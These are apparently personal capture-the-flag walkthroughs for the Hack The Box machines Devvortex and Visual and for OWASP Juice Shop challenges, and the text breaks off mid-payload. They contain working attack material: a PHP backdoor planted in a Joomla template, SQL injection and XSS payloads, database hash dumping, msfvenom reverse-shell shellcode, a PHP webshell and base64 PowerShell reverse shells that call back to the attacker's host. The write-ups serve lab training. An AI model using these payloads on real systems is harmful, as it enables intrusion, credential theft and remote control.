After examining the site you won’t find any interesting thing also so let’s do more reconnaisance.
I found interesting endpoints in /robots.txt endpoint.
when you visit /administrator endpoint you will find login page powered by joomla cms.
You can find tips for joomla pentesting here.
you will find in the link above that /administrator/manifests/files/joomla.xml endpoint let’s you know the version of joomla.
We see that the version is v4.2.6 which we can find that it’s vulnerable to CVE-2023-23752.
You can find many articles about the cve here as example and from them i appended /api/index.php/v1/config/application?public=true to the url and got this
Nice we got credentials lewis:P4ntherg0t1n5r3c0n## which will be used to login to joomla dashboard.
continue reading in this and you will find what you should do next.
You should go to system and you will find many templates i choosed Administrator Templates and find many files.
I opened index.php and added this line system($_GET['cmd']); so when i visit this http://dev.devvortex.htb/administrator/index.php?cmd=whoami I see www-data which is the result of whoami command in the beginning of the site
Nice we have RCE let’s get a shell.
setting up a listerner at port 4444
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
and i went to revshells for the reverse shell payload.
You can use many php shells as the payload will be inserted in php code (I used pentest monkey php shell) added it to index.php file in the admin templates and i got the shell as www-data
shell as logan
stablize the shell using python3 -c "import pty;pty.spawn('/bin/bash)"
If you remember the article of the CVE we used, The credentials are usually for MYSQL db and when we use the command ss -tulpn we find that port 3306 is used which is the default for MYSQL.
Let’s access MYSQL db
www-data@devvortex:/$ mysql -u lewis -p
mysql -u lewis -p
Enter password: P4ntherg0t1n5r3c0n##
We accessed the db successfully and after digging into it we found sd4fg_users table in joomla database
mysql> select username,password from sd4fg_users;
select username,password from sd4fg_users;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+----------+--------------------------------------------------------------+
2 rows in set (0.00 sec)
we have two users with two hashed passwords i tried to crack them but only the password of the user logan is cracked successfully.
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ john hash --show
?:t************
1 password hash cracked, 0 left
I used this password in ssh ssh logan@10.10.11.242
and congrats u are logan now
logan@devvortex:~$ ls
user.txt
logan@devvortex:~$ cat user.txt
1*******************************
shell as root
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
We find that there’s a command you can execute using sudo
I found that this command is vulnerable to privesc here.
Briefly you will walkthrough the choices until you get view report which will be opened in a less page as root so you can execute !/bin/bash as root and now you are root.
root@devvortex:/home/logan# cd /root
root@devvortex:~# cat root.txt
b*******************************
I wish the walkthrough helped you ^^
-
Owasp Juice Shop
Getting started
OWASP Juice Shop is probably the most modern and sophisticated insecure web application! It can be used in security trainings, awareness demos, CTFs and as a guinea pig for security tools! Juice Shop encompasses vulnerabilities from the entire OWASP Top Ten along with many other security flaws found in real-world applications!
You can solve it here.
★ Finding Score board
When you start the challange you will get alerts from the site telling you that you need to find the score board to start. You can consider it as the first challange, so let’s go.
When we look at the source code carefully we will find JS files but main.js seems to be more interesting.
I opened it and sent it to JS Beautifier to make it more organized.
I searched using the keyword score and found this.
The endpoint is /score-board congratzzzzz
The coding challange
You will see that the score-board endpoint is disclosed in the line number 114
We can’t remove it because it will break the functionality of the site
★ DOM XSS
Perform a DOM XSS attack with <iframe src="javascript:alert(`xss`)">.
After examining the site you will find an input to search functionality.
I tried to put things like <h1> and it’s rendered successfully so let’s try our payload.
Congratzzzzzz
The coding challange
filterTable () {
let queryParam: string = this.route.snapshot.queryParams.q
if (queryParam) {
queryParam = queryParam.trim()
this.dataSource.filter = queryParam.toLowerCase()
this.searchValue = this.sanitizer.bypassSecurityTrustHtml(queryParam)
this.gridDataSource.subscribe((result: any) => {
if (result.length === 0) {
this.emptyState = true
} else {
this.emptyState = false
}
})
} else {
this.dataSource.filter = ''
this.searchValue = undefined
this.emptyState = false
}
}
The problem is in this line this.searchValue = this.sanitizer.bypassSecurityTrustHtml(queryParam)
Fixing: make it this.searchValue = queryParam because when you use bypassSecurityTrustHtml you must ensure that the HTML content does not come from untrusted sources or user inputs without proper sanitization.
★ Bully Chatbot
Receive a coupon code from the support chatbot.
Consider this challange as a break xD.
attacking the chat bot maybe done by many ideas but in this the easiest one is the solution.
You just need to repeat the question and Congratzzzz XD.
★ Error Handling
Provoke an error that is neither very gracefully nor consistently handled.
During site traversing I noticed there’s and api request to /rest/user/whoami and it returns data about the user like this
{"user":{"id":22,"email":"y@g.c","lastLoginIp":"0.0.0.0","profileImage":"/assets/public/images/uploads/default.svg"}}
so i think it executes the whoami command so let’s try something like ls /rest/user/ls it gives status code 500 and the response is
{
"error": {
"message": "Unexpected path: /rest/user/ls",
"stack": "Error: Unexpected path: /rest/user/ls\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\angular.js:38:18\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:168:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:105:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at logger (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\morgan\\index.js:144:5)\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9"
}
}
I think there are many other ways to solve this challange
congratzzzz anyway xD
★★ Login Admin
Log in with the administrator’s user account.
It’s a very simple sqli as when i login using 'or 1=1 --:anypasswd i login as admin.
Notice that we got admin account by luck as there maybe many users in the database why we got the admin then?? This because the admin was the first user in the table xDDDD.
Congratzzzzz
★★ Password Strength
Log in with the administrator’s user credentials without previously changing them or applying SQL Injection.
The admin’s login data
{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjQtMDYtMTkgMTM6MjU6MTQuMTEyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjQtMDYtMTkgMTM6MjU6MTQuMTEyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTcxODgwMzkzOH0.TbMVfjrOP5ZP8yd44tKZkud1k_y82DKoLnnHpmIF8x3CBRm2oDS7JqjcO-kt_fJlAoD60JCsGDLa5xoESMRCs4WhlV20nVpdwQa5-VHj2gcULe4HNvdhRuYxV19jHtqLtIaEsTSOAoS5cwxRFmdSpFkpTElhGcxKJsp19ivbm8Y","bid":1,"umail":"admin@juice-sh.op"}}
The payload of the JWT
{
"status": "success",
"data": {
"id": 1,
"username": "",
"email": "admin@juice-sh.op",
"password": "0192023a7bbd73250516f069df18b500",
"role": "admin",
"deluxeToken": "",
"lastLoginIp": "",
"profileImage": "assets/public/images/uploads/defaultAdmin.png",
"totpSecret": "",
"isActive": true,
"createdAt": "2024-06-19 13:25:14.112 +00:00",
"updatedAt": "2024-06-19 13:25:14.112 +00:00",
"deletedAt": null
},
"iat": 1718803938
}
so The admin’s email : admin@juice-sh.op
The password hash (MD5) : 0192023a7bbd73250516f069df18b500
The password after cracking : admin123
so we can login as admin using these creds
{"email":"admin@juice-sh.op","password":"admin123"}
The coding challange
The code
User.init(
password: {
type: DataTypes.STRING,
set (clearTextPassword) {
this.setDataValue('password', security.hash(clearTextPassword))
}
},
The problem is applying the hash directly without any validation of the strength of the password
Fixing is done be adding:
set (clearTextPassword) {
validatePasswordHasAtLeastTenChar(clearTextPassword)
validatePasswordIsNotInTopOneMillionCommonPasswordsList(clearTextPassword)
this.setDataValue('password', security.hash(clearTextPassword))
}
before this.setDataValue('password', security.hash(clearTextPassword))
Reason : According to NIST-800-63B, passwords (Memorized Secrets) should have at least eight characters to prevent ‘online attacks’. Furthermore, NIST-800-63B requires that passwords don’t appear in common dictionaries.
Congratzzzzz
★★ view basket
View another user’s shopping basket.
When i visit my basket i note that there’s an API request to /rest/basket/6
When i change it to /rest/basket/1 i see the basket of the user whose id = 1 (no validation exists)
★★ Five-Star Feedback
Get rid of all 5-star customer feedback.
When i view feedbacks i can visit this api GET /api/Feedbacks/
Make the request to be OPTIONS then you find that you can use DELETE method
DELETE /api/Feedbacks/
will give error that the path is invalid so i added the id in the request like this DELETE /api/Feedbacks/1
1 is the id of the feedback i want to delete and i made this request for the feedbacks of 5 Stars
Note: i don’t know if there’s a way to delete based on the rating not the id
★★★ Login Jim & Login Bender
I managed to login to any account in the site like i did to the admin with small modification
{"email":"' or 1=1 LIMIT 1,1 --","password":""}
LIMIT 1,1 The first 1 is an index and the second 1 is number of rows retrieved
so i can change the first 1 to any number and i can login to any account
Jim was 1 and Bender was 2
Congratzzzzz
★★★ Manipulate Basket
Put an additional product into another user’s shopping basket.
we said we can view any basket through GET /rest/basket/1
and when we add element to basket the req is to POST /api/BasketItems/
and the data is
{"ProductId":1,"BasketId":"6","quantity":1}
when i try to change the basket id i get 401 unauthorized status code and {'error' : 'Invalid BasketId'}
so i made the req method to be OPTIONS and i found PUT method
when i try PUT /api/BasketItems/ i get error
{
"error": {
"message": "Unexpected path: /api/BasketItems/",
"stack": "Error: Unexpected path: /api/BasketItems/\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\angular.js:38:18\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:168:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express-jwt\\lib\\index.js:44:7\n at module.exports.verify (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express-jwt\\node_modules\\jsonwebtoken\\index.js:59:3)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express-jwt\\lib\\index.js:40:9\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:105:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)"
}
}
the path is wrong so it may need the id at the end of the url
so i made it PUT /api/BasketItems/2 with the json data
{"ProductId":1,"BasketId":"2","quantity":1}
and i got 400 status code bad request and this
{"message":"null: `BasketId` cannot be updated due `noUpdate` constraint","errors":[{"field":"BasketId","message":"`BasketId` cannot be updated due `noUpdate` constraint"}]}
so i removed the BasketId from the json and got the same error for ProductId so i removed it also
then i got this response
{"status":"success","data":{"ProductId":2,"BasketId":1,"id":2,"quantity":1,"createdAt":"2024-06-19T13:26:15.289Z","updatedAt":"2024-06-19T18:48:08.760Z"}}
and when you view the BasketId:1 using GET /rest/basket/1 you will notice that the item is added.
Congratzzzzzzzzzzz
-
-
-
-
Visual
Description
Solution
Recon
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/visual]
└─$ nmap -sV -sC -Pn -oA nmap/visual 10.10.11.234
# Nmap 7.92 scan initiated Sat Sep 30 21:32:35 2023 as: nmap -sV -sC -Pn -oA visual 10.10.11.234
Nmap scan report for 10.10.11.234
Host is up (0.18s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 30 21:33:23 2023 -- 1 IP address (1 host up) scanned in 48.53 seconds
shell as enox
When we open the site http://10.10.11.234 we get this
As said the site can accept a repo of dotnet6 and it will trust the project we sent, execute it and send the DLL back as example
first i wanted to test it using a random C# project repo but note that we can’t submit the url of the repo directly and this because the lan at which the HTB machine exists isn’t connected to Internet so we need to submit this repo over the lan.
After searching i found this article about how to serve a repo over http.
I created a simple C# project that prints hello world xDDD and uploaded this repo on github. Its path is https://github.com/YoussifSeliem/visualHTB then i cloned this repo into my machine git clone https://github.com/YoussifSeliem/visualHTB
Then let’s start as in article
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/visual/tst]
└─$ git --bare clone visualHTB repo-http
cd repo-http/.git
git --bare update-server-info
mv hooks/post-update.sample hooks/post-update
cd ..
python -m http.server 8000
Then I submitted the repo into the site by submitting this link http://10.10.16.81:8000/.git/, then i got this
Now we need to move forward in this machine and we can make use of the way the project is handled by the site as it’s got trusted and executed.
After searching i found many useful articles like MSBuild & evilSLN.
I used MSBuild exploit, it makes use of the fact that visual studio uses MSBuild.
Briefly, we can say that MSBuild is an engine that provides an XML schema for a project file that controls how the build platform processes and builds software.
In our case the .csprog file contains MSBuild XML code.
I moved as in the article and created the shell code using
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/visual]
└─$ msfvenom -p windows/shell/reverse_tcp lhost=10.10.16.81 lport=4444 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of csharp file: 1825 bytes
byte[] buf = new byte[354] {
0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x31,0xd2,0x89,0xe5,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,
0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,
0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x01,0xd3,0x50,0x8b,0x48,0x18,
0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xc1,
0xcf,0x0d,0xac,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,
0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,
0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,
0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,
0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0x0a,0x0a,0x10,0x51,0x68,0x02,
0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,0x00,0x00,
0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,
0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00,
0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,
0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,
0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,
0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
I made the payload shell rather than meterpreter because in this machine the AntiVirus detected the meterpreter and closed the connection.
Add the generated shell code to the .csproj file as shown in the article and this is our modified repo we will submit it again to the site.
don’t forget to set up a listener in msfconsole
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.16.81
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit
Then you will get the connection
C:\Windows\Temp\591812c6a390d3b1c93cef7b9d4df5\ConsoleApp1>whoami
whoami
visual\enox
I found on the system there is only enox user then i went to its Desktop to get the user flag
C:\Users\enox\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 82EF-5600
Directory of C:\Users\enox\Desktop
06/10/2023 12:10 PM <DIR> .
06/10/2023 12:10 PM <DIR> ..
02/23/2024 03:07 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 9,479,344,128 bytes free
C:\Users\enox\Desktop>type user.txt
type user.txt
7******************************
shell as local service
After navigation in the machine we can see C:\xampp\htdocs which is the root of web directory this gives us an idea of getting shell from it because the web service possess ImpersonatePrivilege permissions. These permissions can potentially be exploited for privilege escalation.
To get shell as local service i created a simple webshell
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
Then i uploaded it to this path C:\xampp\htdocs\uploads and then accessed the shell from the site like this
It works so Let’s get the shell as the local service.
We can use rev shell generator and from it i choosed powershell#3 (base64), then i set up the listener and send this payload in the url
http://10.10.11.234/uploads/shell.php?cmd=powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOAAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
and we got the shell
connect to [10.10.16.81] from (UNKNOWN) [10.10.11.234] 49960
whoami
nt authority\local service
PS C:\xampp\htdocs\uploads> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
shell as root
As we see SeImpersonatePrivilege doesn’t exist and this moves us to use FullPower that helps in recovering the privilages.
After Downloading the tool and sending it to the victim machine we can use it to get a shell as the local service but with full privilages like this
PS C:\xampp\htdocs\uploads> .\FullPowers.exe -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOAAxACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgA